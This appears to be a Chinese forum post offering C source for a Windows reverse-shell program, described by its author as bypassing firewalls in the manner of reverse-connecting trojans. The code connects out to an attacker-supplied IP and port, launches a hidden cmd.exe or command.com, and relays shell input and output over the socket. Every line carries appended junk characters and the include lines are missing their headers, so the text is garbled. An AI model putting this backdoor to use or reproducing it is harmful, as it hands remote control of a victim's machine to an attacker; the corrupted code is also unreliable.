这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y yfm
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/* ============================== _*B]yz6z
Rebound port in Windows NT t {tcy$bw
By wind,2006/7 9mkt.>$
===============================*/ HjKj.fV
#include zC6,m6Dv
#include :.6kXX'~
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#pragma comment(lib,"wsock32.lib") 1HxE0>
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void OutputShell(); |xyN#wi
SOCKET sClient; &AH@|$!E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B*E:?4(<P
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void main(int argc,char **argv) /g2( <
{ x/47e8/
WSADATA stWsaData; GQ
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int nRet; NK]X ="`
SOCKADDR_IN stSaiClient,stSaiServer; aH'Sz'|E
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if(argc != 3) :9q=o|T6D
{ # 4_'%~-e
printf("Useage:\n\rRebound DestIP DestPort\n"); Ua]shSjyI
return; =@;uDu:Q
} ]N}80*Rl
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WSAStartup(MAKEWORD(2,2),&stWsaData); j`Fsr?]/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D
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stSaiClient.sin_family = AF_INET; vtG_A{l
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oe,L&2Jz@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l'HrU 1_7Y
{ qT^R>p
printf("Bind Socket Failed!\n"); ta _!
return; 5mdn77F_
} {\
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stSaiServer.sin_family = AF_INET; i>i@r ;:|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); azKbGS/X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k!Nl#.j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) poj@G{
{ &yN@(P)
printf("Connect Error!"); VnW]-P*:
return; 7k}[x|u
} _3DRCNvh
OutputShell(); v+A$CGH96
} V|xKvH
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void OutputShell() _3- nw
{ V6Ie\+@.\
char szBuff[1024]; U`sybtuBP'
SECURITY_ATTRIBUTES stSecurityAttributes; hK*:pf
OSVERSIONINFO stOsversionInfo; z8FeL5.(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yg\bCvL&
STARTUPINFO stStartupInfo; =7pLU+ u
char *szShell; )3PQ|r'
PROCESS_INFORMATION stProcessInformation; xTNWT_d
unsigned long lBytesRead; 4^(u6tX5|+
n Bv|5$w:
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F-g(Hk|v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l/0TNOA
stSecurityAttributes.lpSecurityDescriptor = 0; 9{_D"h}}
stSecurityAttributes.bInheritHandle = TRUE; X>l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nAv@^G2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R4v)}`x
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;|&Ak_I2G
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YFgQ!\&59
stStartupInfo.wShowWindow = SW_HIDE; *.4;7#
stStartupInfo.hStdInput = hReadPipe; AHX_I
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4HEp}Y"}V
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GetVersionEx(&stOsversionInfo); M0g!"0?
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switch(stOsversionInfo.dwPlatformId) q@1!v
{ 1c_qNI;:p
case 1: 9^l_\:4
szShell = "command.com"; 5#/"0:2
break; 9Y&,dBj+
default: a.QF`J4"'
szShell = "cmd.exe"; SFAh(+t
break; i3g;B?54
} E&r*[;$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %cJ]Ds%V
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send(sClient,szMsg,77,0); 'PTWC.C?9
while(1) aY7kl
{ xB"o
7,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k @'85A`
if(lBytesRead) Ym6zNb8
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{ B]oIFLED
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gn"_()8cT
send(sClient,szBuff,lBytesRead,0); S?*pCJ0
} i)=!U>B_0
else | W:JI
{ fdP[{.$?(
lBytesRead=recv(sClient,szBuff,1024,0); YOo?.[}@
if(lBytesRead<=0) break; g(m3
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \NwL #bQ~
} mle"!*
} [I:D\)$<
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return; d[;=X .fZ2
}